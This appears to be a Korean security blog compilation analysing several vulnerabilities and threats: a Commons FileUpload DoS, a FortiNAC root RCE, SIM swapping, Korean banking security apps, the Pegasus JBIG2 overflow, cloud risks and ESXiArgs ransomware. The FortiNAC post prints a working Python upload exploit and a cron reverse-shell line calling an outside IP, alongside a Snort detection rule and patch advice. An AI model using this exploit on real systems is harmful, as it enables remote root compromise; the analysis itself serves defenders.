1. Apache Commons Fileupload [1]

- 파일 업로드 기능을 서블릿 및 웹 애플리케이션에 추가하기위한 패키지

 

2. 취약점 [2]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-24998

- 취약한 버전의 Apache Commons FileUpload에서 requestpart에 대해 제한을 두지 않아 발생하는 서비스 거부 취약점

제품명 영향받는 버전
Apache Commons FileUpload 1.0-beta-1 ~ 1.4
Apache Tomcat 11.0.0-M1
10.1.0-M1~ 10.1.4
9.0.0-M1~ 9.0.70
8.5.0~ 8.5.84

 

2.1 분석

- 자바에서 Annotation은 코드 사이에 주석처럼 쓰이며 특별한 의미, 기능을 수행하도록 하는 기술 [3][4]

- Annotation의 용도는 다음과 같음

컴파일러에게 코드 작성 문법 에러를 체크하도록 정보를 제공

② 소프트웨어 개발 툴이 빌드나 배치시 코드를 자동으로 생성할 수 있도록 정보를 제공

실행시(런타임시)특정 기능을 실행하도록 정보를 제공

 

- 취약점에 악용된 RequestPart 또한 Annotation으로 "multipart/form-data" 요청의 일부를 메서드 인수와 연결하는 데 사용하는 어노테이션임

[사진 2] @RequestPart Annotation

 

- FileUploadBase.java의 내용을 확인해보면 처리할 요청 부분의 수를 제한하지 않는 것으로 판단됨. [5]

- 따라서 공격자는 악의적인 업로드 또는 일련의 업로드로 DoS를 트리거할 수 있음

[사진 3] src/main/java/org/apache/commons/fileupload/FileUploadBase.java

3. 대응방안

① 벤더사에서 제공하는 최신 업데이트 적용 [8][6][7]

제품명 영향받는 버전 패치 버전
Apache Commons FileUpload 1.0-beta-1 ~ 1.4 1.5
Apache Tomcat 11.0.0-M1 11.0.0-M3
10.1.0-M1~ 10.1.4 10.1.5
9.0.0-M1~ 9.0.70 9.0.71
8.5.0~ 8.5.84 8.5.85

 

- 업데이트를 확인해보면 fileCountMax 변수를 이용해 파일 업로드 횟수에대한 제한을 적용한 것으로 판단됨.

 

Update packaged renamed fork of Commons File Upload · apache/tomcat@8a2285f

Show file tree Showing 8 changed files with 116 additions and 14 deletions.

github.com

 

Add a new limit for the number of files uploaded per request (#185) · apache/commons-fileupload@e20c049

Back port

github.com

 

4. 참고

[1] https://commons.apache.org/proper/commons-fileupload/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-24998
[3] https://velog.io/@gillog/Spring-Annotation-%EC%A0%95%EB%A6%AC
[4] https://velog.io/@hwan2da/Spring-RequestBody-vs-RequestParam-vs-RequestPart-vs-ModelAttribute
[5] https://archive.apache.org/dist/commons/fileupload/source/
[6] https://archive.apache.org/dist/tomcat/
[7] https://commons.apache.org/proper/commons-fileupload/download_fileupload.cgi
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71001&menuNo=205020
[9] https://blog.alyac.co.kr/5086

1. FortiNAC

- Fortinet의 네트워크 접근 솔루션 중 하나

- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952 [1]

- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점

- Fortinet 보안팀에서 제일 먼저 발견

영향받는 버전
- FortiNAC 버전 9.4.0
- FortiNAC 버전 9.2.0 ~ 9.2.5
- FortiNAC 버전 9.1.0 ~ 9.1.7
- FortiNAC 8.8 모든 버전
- FortiNAC 8.7 모든 버전
- FortiNAC 8.6 모든 버전
- FortiNAC 8.5 모든 버전
- FortiNAC 8.3 모든 버전

 

2.1 분석 [6]

- 취약점은 keyUpload.jsp에서 발생

- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.

[사진 2] /bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp

 

- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가

- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행

 

[사진 3] /bsc/campusMgr/bin/configApplianceXml

- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)

- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨

 

2.2 PoC [5]

- PoC를 확인해보면 총 2가지로 이루어져 있음

① 공격을 위한 파일 생성

② 업로드한 공격 파일 업로드

 

- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()

def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

 

- payload 파일 내용

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

[사진 4] 공격 파일 생성&공격(위) 및 리버스 쉘 생성(아래)

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 업데이트 적용 [7]

- 취약점 패치 버전

> FortiNAC 버전 9.4.1 이상
> FortiNAC 버전 9.2.6 이상
> FortiNAC 버전 9.1.8 이상
> FortiNAC 버전 7.2.0 이상

 

- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨

[사진 5] 취약 버전(좌) 및 패치 버전(우) 비교

② /bsc/logs/output.master 로그 확인

- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능

tail -f /bsc/logs/output.master

 

③ cron 확인

- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치

 

3.2 네트워크 측면

① 탐지 정책 적용 및 모니터링

alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952
[2] https://www.boannews.com/media/view.asp?idx=114481&page=1&kind=1
[3] https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-fortinet-rce-flaws-patch-now/
[4] https://socradar.io/fortinet-patched-critical-rce-vulnerabilities-in-fortinac-and-fortiweb-cve-2022-39952-and-cve-2021-42756/
[5] https://github.com/horizon3ai/CVE-2022-39952
[6] https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
[7] https://www.fortiguard.com/psirt/FG-IR-22-300
[8] https://www.fortiguard.com/psirt?date=02-2023
[9] https://www.ddosi.org/cve-2022-39952/

가장 넓은 바다는 아직 항해되지 않았고 
가장 먼 여행은 아직 끝나지 않았습니다.

이제 한달의 시간이 남아있지만 
그 끝은 아직 아무도 가보지 못한 길입니다. 

그 끝이 창대할지 그 마지막이 미약할지 알 수는 없지만 
아무도 가보지 못한 길을 걸어갑니다.

가보지 않은 길에 대한 두려움도 크지만 
기대감은 발걸음을 재촉합니다. 

오늘 걸어가는 이 길은 가고자 했던 길의 어디쯤일까요.

2021.10.07 KBO리그 삼성 VS NC 권성욱캐스터 오프닝 멘트

1. 개요

- 스마트폰은 오늘날 휴대폰의 기능을 넘어 인증 수단으로도 사용됨

 

1.1 심(Subscriber Identity Module, SIM)

- 가입자를 인증하는 장치로 정상 사용을 위해서 사용자를 판별

- 1990년대 등장하여 초기에는 단순히 가입자의 식별 정보만 확인하는 용도로 사용

- 2000년 이후 3G 서비스가 보급화된 후 주소록 저장, 교통카드, 신용카드 등의 부가 기능이 포함된 유심(Universal Subscriber Identity Module, USIM) 카드가 사용

- 유심칩에는 고유 번호가 있고, 이동통신사에 휴대전화 개통을 위해 필요한 정보가 모두 있어 다른 휴대전화로 바꿔 꽂아도 사용가능

 

2. 심 스와핑 (SIM Swapping)

- 피해자 스마트폰의 유심정보를 복제해 피해자의 개인정보 또는 은행이나 금융정보에 접근 및 탈취하는 신종 해킹 수법

- 상당수의 심 스와핑 공격은 개인들의 가상화폐 탈취가 주된 목적인 것으로 나타남

- 보통 피해자가 휴대폰을 확인하지 못하거나(ex 새벽), 고객샌터와 연결이 어려운 시간대(ex 새벽, 휴일) 이루어짐

 

2.1 원인

- 개인 정보를 많이 수집한 경우에 한해서 심 스와핑이 종종 발생

> 소셜 미디어 등에 공개한 이메일, 생일 등 정보 + 해킹 등으로 탈취한 개인정보 = 한 개인에대한 완성된 정보

> 사용자를 가장해 이동통신사에 연락해 신원을 인증한 후 유심칩을 재발급

 

- 일반적으로 새로운 심카드를 발급했다면 기존의 심카드는 폐기하고, 해당 내용이 통신사의 전산 시스템에 기록됨

> 심 스와핑의 경우 이러한 과정을 거치지 않아 동일한 유심이 2개가 됨

> 이로인해, 공격자가 복사한 유심을 휴대폰에 끼운 채 재부팅을 하면 전산상으로 "기기 변경"이 이뤄진 것으로 기록

> 즉, 공격자가 유심을 복재하였지만 전산상 해킹의 흔적이 남지않음

> 반대로, 정상 사용자의 휴대폰은 통신모듈이 정지되고 가입자 식별도 불가능해짐

※ 사용자가 이상을 인지한 후 유심을 뺀 후 다시 넣고 전원을 켜면 공격자의 휴대폰이 먹통이 되는 원리

 

2.2 공격 방식

① 개인정보 수집

- 피싱, 악성코드, SNS 등의 다양한 해킹 기법을 통해 개인정보와 금융정보를 수집

- 다크웹에서 유출된 개인정보 구매

 

② 심 스와핑 수행

- 피해자를 사칭해 이동통신사나 온라인으로 유심 신청

- 유심 분실, 파손을 이유로 피해자를 가장해 재발급 신청 또는 관련 직원 매수

 

③ 개인정보 및 금융자산 탈취

- 새로운 유심을 사용해 피해자의 계정을 이용해 추가 정보 탈취

 

※ 해외와 국내의 공격 방식은 차이를 보임

해외 이통사 비고 국내 이통사
상대적 소홀 본인인증 절차 동일 번호로 유심 재발급 시 신분증 등 인증 수단 필요
소홀한 본인 인증과 유출된 개인정보의 조합
관련 직원 매수
공격 방식 이통사 대리점 해킹 또는 불법 시스템 이용
관련 직원 매수

 

2.3 사례

- 미국 FBI는 심 스와핑이 갈수록 악용되고 있다고 경고

> 2018 ~ 2020년까지 약 1200만 달러(약 143억 원)의 피해액이 발생

> 2021년 한 해만 6800만 달러(약 810억 원)의 피해액이 발생

 

① 미국 AT&T 사례

- 미국의 한 사용자는 심 스와핑으로 2380만 달러의 암호화폐를 도난

- AT&T 대리점 직원이 심 스와핑을 도왔던 정황이 밝혀짐

- 이동통신사인 AT&T에 도난당한 피해액의 10배에 달하는 소송을 제기

 

② 캐나다 심 스와핑 사례

- 10대 소년 해커가 심 스와핑으로 432억 원(4600만 캐나다 달러)가량의 가상화폐 탈취

> 이동통신사를 속여 새로운 유심을 발급

> 전화번호를 이용한 비밀번호 초기화에 성공한 뒤 자신의 전자지갑에 가상화폐를 옮긴 것

- 캐나다 경찰과 FBI는 1년 8개월의 공조 수사를 통해 캐나다 온타리오주 해밀턴에서 체포

 

③ 유럽정보보호원(European Union Agency for Cybersecurity)이 발간한 '심 스와핑 대응' 보고서

> 설문에 응한 유럽 22개국 48개 이동통신(MNO) 사업자 중 25곳이 심 스와핑 사고를 경험

> 이들 중 6곳에선 관련 사고가 50건 이상 발생

 

④ KT 심 스와핑 사례

- 전산상 해킹의 흔적이 없어 KT는 단순히 '기기변경'으로 판단 및 추가대응하지 않음

- 피해자들은 KT에 다음 정보를 요청하였지만, 받아 들여지지 않음

> 기존 기지국 정보와 복제된 유심을 사용해 재부팅 시 기지국 정보가 다를 경우 공격을 의심해 볼 수 있음

> 피해자들은 개보위에 분쟁조정위원회를 요청하였고, KT에 기지국 정보를 제공하라 조정_KT는 문자를 수신한 기지국 정보는 제3자의 기지국 정보이기 때문에 제공할 수 없다고 거부

> 피해자들은 다시 분쟁조정위원회 요청 및 개보법에따라 정보를 제공하라고 결론

제35조(개인정보의 열람) ③ 개인정보처리자는 제1항 및 제2항에 따른 열람을 요구받았을 때에는 대통령령으로 정하는 기간 내에 정보주체가 해당 개인정보를 열람할 수 있도록 하여야 한다. <하략>

 

3. 대응방안

① 이동통신사에 연락해 전화 회선 자체를 일시 정지 요청

- 대표적인 증상은 전화나 문자가 제대로 송·수신되지 않거나 무선 네트워크 접속 불가 등의 메시지가 표시됨

- 휴대전화를 끄지 않고 무단 접근에 대한 알람이 수신되는 것을 확인

 

② 유심에 비밀번호(PIN 번호) 또는 다른 USIM 사용 제한 설정

- 핀을 사용하면 통신기기를 재시동하거나 심 카드를 제거할때마다 핀 번호를 입력해야 함

- 초기 유심 카드 비밀번호는 0000 또는 00000000이며, 3회 이상 틀릴 경우 유심이 잠김

- 단, 해커가 유심을 새로 발급할 때는 효과가 없음

 

③ 앱 기반 2단계 인증 등 별도의 보안 장치를 사용

- SMS 또는 스마트폰 번호가 아닌 앱을 활용한 인증기능을 사용

- 단, 해커가 휴대전화를 통제하게 되면 우회할 수 있음

 

④ 엠세이퍼(M-Safer) 서비스 이용

 - 한국정보통신진흥협회(KAIT)에서 운영 중인 이동전화 가입 제한 서비스 이용

- 가입제한 서비스 : 본인 아닌 타인으로부터 이동전화 신규가입 또는 명의변경 등을 제한하는 서비스

- 가입사실현황조회 서비스: 본인 명의로 가입된 통신서비스 현황을 조회일자 기준으로 확인할 수 있는 서비스

- SMS안내 서비스: 본인 명의로 각종 통신서비스에 신규로 가입하거나 명의변경을 통해 양도받을 경우 그 사실을 가입자 본인 명의로 사용하고 있는 이동전화 회선을 통해 SMS로 알려주는 서비스

- 이메일안내 서비스: 본인 명의로 각종 통신서비스에 신규로 가입하거나 명의변경을 통해 양도받을 경우 그 사실을 e-mail로 알려주는 서비스

※ 서비스는 신청자에 한하여 제공

 

⑤ 계정 잠금 요청

- 가상화폐거래소, 금융권 등 이용중인 서비스에 계정 잠금 요청

 

⑥ 개인 정보 관리

- FBI는 소셜 미디어나 웹사이트에 자신의 신상과 투자 정보, 금융 자산 정보를 공개하지 말 것을 권고

 

⑦ 기본 보안 수칙 준수

- 검증되지 않은 하이퍼링크, 첨부파일은 되도록 열지 않는 것을 권장

- 스스로 개인정보를 보호하기 위한 노력과 보안 실천 수칙들을 숙지

 

4. 참고

[1] https://www.joongang.co.kr/article/25091396#home
[2] https://m.nocutnews.co.kr/news/5717179
[3] https://www.boannews.com/media/view.asp?idx=106573
[4] https://blog.naver.com/n_privacy/222649951402
[5] https://www.ajunews.com/view/20220123163806841
[6] https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=2340
[7] https://www.sedaily.com/NewsView/260XD7N878
[8] https://hummingbird.tistory.com/6906
[9] https://finjoy.net/483

'취약점 > Social Engineering' 카테고리의 다른 글

Browser in the Browser (BitB)  (0) 2023.04.20
랜섬웨어 그룹 사칭 피싱메일  (0) 2023.04.03
BEC 공격과 EAC 공격  (0) 2023.02.04
사회공학기법 #2 유형 및 대응  (1) 2022.08.25
사회공학기법 #1 개요  (0) 2022.08.24

1. 개요

- 필란트는 앞서 한국의 은행 보안 프로그램 TouchEn nxKey, IPinside에 대해 분석글을 게시

- 해당 보안 프로그램의 설치를 강제하는 것이 사용자들에게 더 나은 보안을 제공하지 못함

 

2. 중간 결론

2.1 엔드포인트

- 사용자가 은행 웹사이트 접속 시 공격자 등 외부 요소의 간섭 없이 사용할 수 있어야함

- 이를 위해 MS에서 윈도우 방화벽(방화벽)과 윈도우 디펜더(백신)을 제공

- 한국에서는 타사 백신(안랩 백신)을 사용

- 안랩 세이프 트랜잭션의 경우 백그라운드에서 동작이 없다가, 은행 웹사이트에 접속해야만 동작

- 보통 멀웨어 감염은 은행 웹사이트에서 발생하지 않으므로 호스트를 공격으로부터 보호하지 못함

 

2.2 키보드 보안

- 한국의 여러 보안 애플리케이션이 키보드 입력을 보호하려 함

- 금융권을 대상으로한 트로이 목마 바이러스가 유행해 암호를 탈취

- 당시 화상키보드를 사용해 물리키보드 입력을 통한 키로깅 행위를 방지함

- 트로이 목마 바이러스 변종이 등장해 키 입력 뿐만 아니라 마우스 클릭과 클릭된 위치 주변의 스크린샷을 저장

- 새로운 변종 바이러스가 다수 등장하였지만 한국의 환경에서는 과거의 방식이 많이 사용됨

 

2.3 IP 주소 감지

- 공격자들은 여러 IP를 이용해 공격을 시도

- 한국의 은행들은 새로운 방법을 찾기 보단, 익명 프록시 및 VPN 사용에 대한 대안을 찾고있음_IPinside 설치를 요구

- 일반적으로 로그인 시도가 3~5번 실패할 경우 계정이 잠기거나, 다중 인증을 요구하므로 접속 IP에 대한 관심은 낮은편

- 또한, 금융권을 대상으로한 트로이 목마 바이러스 역시 이를 회피하는 방법을 가지고 있음

- 회피 기능을 이용해 계정을 탈취한 후 악의적으로 사용

 

2.4 인증서 기반 로그인

- 한국 은행 웹사이트 로그인 환경에서 인증서기반 로그인이 많이 사용됨

- 한 때 인터넷 뱅킹을 위해 강제되었지만 더 이상 그렇지 않음

- 인증서를 백업하고 사용하는 모든 디바이스로 옮기는 과정에서 오류가 발생할 가능성이 높음

- 또한, 부가적인 가치를 제공하지 않음

- 결론적으로, 인증서의 실질적인 기능에 대한 의문

 

2.5 소프트웨어 배포

- 설치가 필요한 애플리케이션의 개수가 다수

- 웹 사이트에 따라 필요로 하는 애플리케이션이 다르며, 버전 또한 고려해야하므로 일반 사용자가 관리하기에 어려움이 있음

- 해당 애플리케이션을 은행에서 배포하며, 버전별 호환성에 의해 오래전 버전이 지속적으로 배포되고 있을 수 있음

- 또한, HTTP를 이용해 소프트웨어를 배포하는 경우도 확인됨

- 은행 웹사이트에서 최신 버전의 보안 프로그램과 호환 될 수 있도록 절차 마련이 필요

 

3. 참고

[1] https://palant.info/2023/02/20/south-koreas-banking-security-intermediate-conclusions/

[2] https://github.com/alanleedev/KoreaSecurityApps/blob/main/04_intermediate_conclusions.md

1. 개요

- 모바일 보안수칙으로 보통 의심스러운(출처가 불분명한) 링크, 첨부파일 등을 클릭하지 말 것을 당부

- 이러한 대응방안을 무력화하는 방법이 제로클릭(Zero-Click) 기법

 

2. 제로클릭(Zero-Click)

- 단어 뜻 그대로 클릭이 제로인 상태를 뜻함

- 기존의 피싱 등을 통한 악성코드와 달리 사용자가 클릭하지 않아도 몰래 침투해 사용자의 스마트폰을 좀비폰으로 만듦

- 애플 iOS나 구글 안드로이드 운영체제, 왓츠앱 같은 메신저 프로그램의 취약점들을 악용해 사용자 몰래 기기에 침투

- 공격이 성공할 경우 통화 도청·녹음, 사진 촬영, 비밀번호 탈취 등이 가능해짐

- 제로클릭 공격은 정부기관 관계자, 정치인, 활동가 등 고위급 인사나 언론인을 대상으로 함

- 대중화됐다고 보기는 어렵지만  점점 증가하는 추세

- 제로클릭 공격에 대한 방어책을 신속하게 마련할 수 있도록 세부 논의가 필요

> 현재로써는 감염된 기기를 사용하지 않는 것 외에는 예방 방법이 없음

 

3. NSO 그룹의 페가수스(Pegasus)

- 이스라엘 보안업체 NSO 그룹이 개발하여 세계 각국 정부에 판매한 제로클릭 해킹 도구 (일종의 스파이웨어)

- 구글 프로젝트 제로(Project Zero) 팀은 지금까지 확인한 사이버 공격 가운데 기술적으로 가장 정교하다고 발표

 

3.1 분석 [1][4][5]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-30860 [6]

- CVE-2021-30860 할당

 

- 가짜 GIF로 코어그래픽스 PDF(CoreGraphics PDF) 파서의 취약점을 악용

※ 가짜 GIF는 확장자가 .gif이지만 실제로는 GIF 이미지 파일이 아님

 

- iMessage는 GIF 이미지를 네이티브로 지원하며, 해당 GIF를 무한반복 시키기 위해 ImageIO 라이브러리를 사용함

ImageIO 라이브러리는 파일 확장자에 상관없이 소스 파일의 올바른 형식을 추측하고 구문을 분석하는 데 사용

- 가짜 GIF 파일을 사용하면 20개 이상의 이미지 코덱이 아이메시지 제로클릭 공격 표면의 일부가 되어 수십만 줄의 코드를 원격으로 노출시킴

 

- JBIG2는 이미지 압축 표준으로, 몇가지 반복되는 문자를 대체해 파일 사이즈를 줄이는 기법

- 페가수스 스파이웨어는 이 과정에서 발생하는 취약점_참조된 세그먼트를 수집할 때 발생하는 오버플로_을 악용

 Guint numSyms; // (1)


  numSyms = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        numSyms += ((JBIG2SymbolDict *)seg)->getSize();  // (2)

      } else if (seg->getType() == jbig2SegCodeTable) {

        codeTables->append(seg);

      }

    } else {

      error(errSyntaxError, getPos(),

            "Invalid segment reference in JBIG2 text region");

      delete codeTables;

      return;

    }

  }

...

  // get the symbol bitmaps

  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)


  kk = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        symbolDict = (JBIG2SymbolDict *)seg;

        for (k = 0; k < symbolDict->getSize(); ++k) {

          syms[kk++] = symbolDict->getBitmap(k); // (4)

        }

      }

    }

  }

- 먼저 (1)에서 numSyms를 32bit 정수형으로 선언

- 조작된 참조 세그먼트를통해 (2)에서 numSyms에 반복적으로 추가하는 동안 numSyms에서 Integer Overflow가 발생

- 이후, (3)에서 gmallocn 함수로 numSyms * 8만큼의 syms 힙을 할당

- (4)에서 비트맵의 값으로 syms를 채우는데, Integer Overflow로 인해 비트맵의 크기보다 작은 힙이 할당되고 out-of-bounds write가 가능

JBIG2Bitmap의 원래 경계를 벗어나 메모리를 읽고 쓸 수 있게 되는 것

 

- 추가적으로, JBIG2는 스크립트 기능이 없지만, 취약점과 결합하면 임의 메모리에서 작동하는 임의의 논리 게이트 회로를 실행시킬 수 있음

> 이 기능을 사용하면 독자적인 컴퓨터 아키텍처를 구축하고 실행할 수 있음

 

4. 대응방안 [5]

① 최신 버전으로의 업데이트 적용

> 당시 애플은 즉시 iOS 14.7.1 업데이트를 배포하며 취약점을 해결

[사진 2] 애플 패치 코드

② 데이터 보관 방법

- 중요 데이터 또는 민감 데이터는 별도의 장치에 저장

 

③ 검역소

- 제로클릭의 경우 대부분 GIF파일로 전파되므로, 격리된 메모리 공간에서 검증 후 격리

 

5. 참고

[1] https://www.ciokorea.com/t/34/%EB%AA%A8%EB%B0%94%EC%9D%BC/221704
[2] https://www.itworld.co.kr/news/216064
[3] https://www.digitaltoday.co.kr/news/articleView.html?idxno=437261
[4] https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
[5] https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html
[6] https://nvd.nist.gov/vuln/detail/CVE-2021-30860

1. 개요

- 클라우드에 대한 의존도가 높아질수록 보안 팀들에게는 어려워짐

- 데이터를 스스로 관리하는 것이 아닌 외부에 위치시키기 때문

- 현재 기업들은 평균 2000개의 클라우드 서비스를 사용하는 것으로 조사

- 클라우드 상에서 발생가능한 사고의 예방과 후속 대처를 모두 신경 써야할 필요

 

2. 위협

2.1 서드파티 소프트웨어와 공급망의 위험

- 서드파티란, 제3자라는 뜻으로 원천기술과 호환되는 상품을 출시하거나 해당 기술을 이용한 파생상품을 생산하는 회사를 의미

- 많은 기업들이 정보를 클라우드에 보관하며, 서드파티에게 클라우드 접근 권한을 부여함

- 기업의 IT환경에서 파트너사들은 계약을 통해 내부 네트워크와 데이터에 접근이 가능하며, 서드파티를 보안 장비에서 예외 적용할 가능성이 존재

- 공격자들은 피해 기업을 공격하는 대신 서드파티를 공격함으로써 동일한 피해를 유발할 수 있음

- 즉, 클라우드에 대한 서드파티의 관리 실수가 침해사고로 이어질 수 있음

 

2.2 랜섬웨어

- 많은 기업들이 인프라와 데이터 등을 클라우드로 옮기는 중

- 공격자들은 계속해서 새로운 랜섬웨어를 만들어내고, 클라우드 서비스를 대상으로하는 랜섬웨어를 만들기 시작

- 클라우드용 랜섬웨어와 클라우드를 협박하는 새로운 전술들도 등장

- 크게 3가지 종류로 나뉠 수 있음

① 클라우드와 연동된 파일 공유 서비스를 대상으로 한 랜섬웨어

② 클라우드 기반 이메일 서비스를 대상으로 피싱 메일 유포하여 계정 탈취 후 랜섬웨어 유포

③ 클라우드 호스팅 업체 자체를 대상으로 한 랜섬웨어

 

2.3 APT

- 클라우드는 기업의 네트워크와 맞물려 동작하기에 APT 공격 대상이 되기도함

- APT 단체 팬시베어(Fancy Bear), 코지베어(Cozy Bear), 가돌리늄(Gadolinium) 등은 이미 클라우드 인프라를 활용

- APT 단체들이 노릴 만한 것들이 점점 더 클라우드 환경에 많아지고 있음

- 클라우드 확보 후 이를 바탕으로 각종 공격을 손쉽고 효율적으로 수행하는 트렌드

 

2.4 멀티클라우드의 확산

- 클라우드 서비스를 도입할 때 여러 클라우드를 도입

- 멀티클라우드를 도입한 회사는 통계 마다 다르나 절반을 넘어선 수치를 기록

- 멀티클라우드 증식(multicloud sprawl) 문제: 클라우드 하나로도 복잡한 아키텍쳐로, 이것이 중첩되어 발생하는 일종의 복잡성 문제

- 데이터가 돌아다니고 저장되는 영역이 훨씬 많아져 추적하고 관리하는 게 힘들어지는 문제

- 또한, 클라우드마다 로깅 방식, 보안 옵션 등의 차이가 있으며, 데이터의 표준 포맷이 존재하지 않음

- 클라우드 보안의 핵심사안은 가시성으로, 멀티클라우드 환경으로 옮겨갈 경우 가시성 확보가 어려워지거나 불가능해짐

 

2.5 셰도우 데이터

- 셰도우 데이터(shadow data): 불필요하게 복제되거나 불필요한 곳에 저장된 채 관리 받지 못하고 잊혀진 데이터

- 다크 데이터(dark data) 혹은 고스트 데이터(ghost data)라고 부름

- 클라우드 환경으로 전환하면서 어떤 데이터가 어떻게 중복되거나 사라지거나 잊혀질 지 알지못함

 

2.6 클라우드 내의 과도한 권한 허용

- 클라우드의 장점 중 하나는 IT 관리자들이 사용자들에게 권한을 편리하게 부여할 수 있다는 것

- 필요에 따라 필요한 만큼의 권한을 부여해야 하지만 매번 변경하는것 또한 어려운 일

- 클라우드를 사용하려는 경우 권한에 관한 문제 해결이 무조건적으로 필요

 

2.7 휴먼에러

- 보안분야에서 휴먼에러는 이미 널리 알려진 문제

- 특히 클라우드와 관련된 보안 사고 중 가장 많은 비율을 차지

- 클라우드의 구축과 활용이 꽤나 쉽다는 사실이 상황을 악화시키는 중

- 누가 어떤 상황에서 실수할지 예측할 수 없으며, 실수가 어느정도의 파급력을 가져올지도 알 수 없음

- 보안 솔루션에 의존하지 않고 끊임없는 보안 교육의 필요성

 

 

 

[주말판] 2023년 클라우드 생태계를 위협할 7가지 치명적인 요소들

클라우드가 등장한 직후부터 ‘클라우드 보안’은 어느 조직에나 힘든 과제가 되었다. 사실 클라우드라는 것은 그 개념부터 위험하기 짝이 없다. 인터넷을 통해 제공되는 컴퓨팅 서비스들 위에

www.boannews.com

'클라우드 > 기본' 카테고리의 다른 글

클라우드 보안인증 등급제  (0) 2024.02.08
클라우드 #1  (0) 2022.07.16

1. 개요

- 최근 VMware ESXi 취약점을 이용하여 랜섬웨어가 유포

- 전 세계적으로 약 3,800개의 서버가 피해를 받았으며, 피해를 입은 한 기업은 약 2만 3,000달러의 비트코인이 몸값으로 요구됨

- 프랑스, 미국, 독일, 캐나다 등을 공격

[사진 1] ESXiargs에 공격받은 국가 TOP 10

- 악용되는 취약점은 CVE-2021-21974OpenSLP의 힙 오버플로우 문제로 인해 발생하는 원격 명령 실행 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 ESXi650-202102101-SG 이전 6.5.x 버전
ESXi670-202102401-SG 이전 6.7.x 버전
ESXi70U1c-17325551 이전 7.x 버전

- 해당 취약점은 2년전 VMware에서 패치를 발표하였으나, 패치를 적용하지 않은 취약한 ESXi 서버를 대상으로 공격 수행

- 쇼단의 Facet 기능(통계 요약 서비스)을 이용해 ESXi의 버전을 확인한 결과 취약한 버전이 다수 사용되는 것으로 확인됨

[사진 2] 쇼단 검색 결과

2. ESXiArgs Ransomware

- ESXiArgs의 동작과정은 [사진 3]과 같음

[사진 3] ESXiArgs 동작 과정

 

- ESXiArgs에 서버가 침해되면 다음 파일이 /tmp 폴더에 저장

파일명 설명
encrypt - 암호화기
- ELF 실행 파일
encrypt.sh - 암호화를 실행하기 전에 다양한 작업을 수행
- 공격 로직 역할을 하는 셸 스크립트
public.pem - 암호화 키를 암호화하는 데 사용되는 보조 공개 RSA 키
motd - "오늘의 메시지"로 표시되는 랜섬 노트
- /etc/motd에 복사되는 텍스트 형식의 랜섬 노트로, 서버의 원본 파일은 /etc/motd1에 복사
※ MOTD(Message Of The Day): 사용자가 처음 연결하거나 로그인하거나 시작할 때 표시되는 일종의 환영 메세지
index.html - VMware ESXi의 홈 페이지를 대체할 HTML 형식의 랜섬 노트

 

2.1 기술적 분석

- 다음의 명령을 사용함

encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]
  enc_step - 암호화 시 넘어갈 MB 크기
  enc_size - 암호화 블록의 MB 크기
